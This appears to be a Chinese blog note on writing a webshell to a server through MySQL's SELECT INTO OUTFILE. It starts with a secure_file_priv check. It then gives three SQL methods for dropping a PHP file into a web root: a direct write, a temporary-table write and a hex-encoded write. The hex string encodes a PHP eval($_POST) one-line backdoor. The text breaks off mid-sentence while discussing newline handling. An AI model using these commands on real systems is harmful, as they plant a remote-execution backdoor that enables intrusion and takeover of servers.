以mysql数据库为例
写shell需要判断当前有没有设置secure_file_priv,只有当secure_file_priv为空才有权限写文件,这个配置由my.ini定义,无法在执行sql的情景更改配置。
show global variables like '%secure%';
写入webshell
#写入常规一句话
select '' into outfile 'C:\\phpstudy_pro\\WWW\\loga.php';
#存到数据库表中再写入
Drop TABLE IF EXISTS temp;Create TABLE temp(cmd text NOT NULL);Insert INTO temp (cmd) VALUES('');Select cmd from temp into outfile 'C:\\phpstudy_pro\\WWW\\loga.php';Drop TABLE IF EXISTS temp;
#使用hex编码写入
select 0x3c3f706870206576616c28245f504f53545b2278225d29203f3e into outfile 'C:\\phpstudy_pro\\WWW\\x.php'
outfile可以导出多行数据,但是在将数据写到文件时mysql会对换行符(0a),制表符(09)等特殊字符做处理。使用有换行符的webshell时,很多hex编码后换行符使用的是0a(即\n),而0a会被outfile做特殊处理,除了换行
上一篇:Go爬虫学习笔记(三)
下一篇:关于对象与属性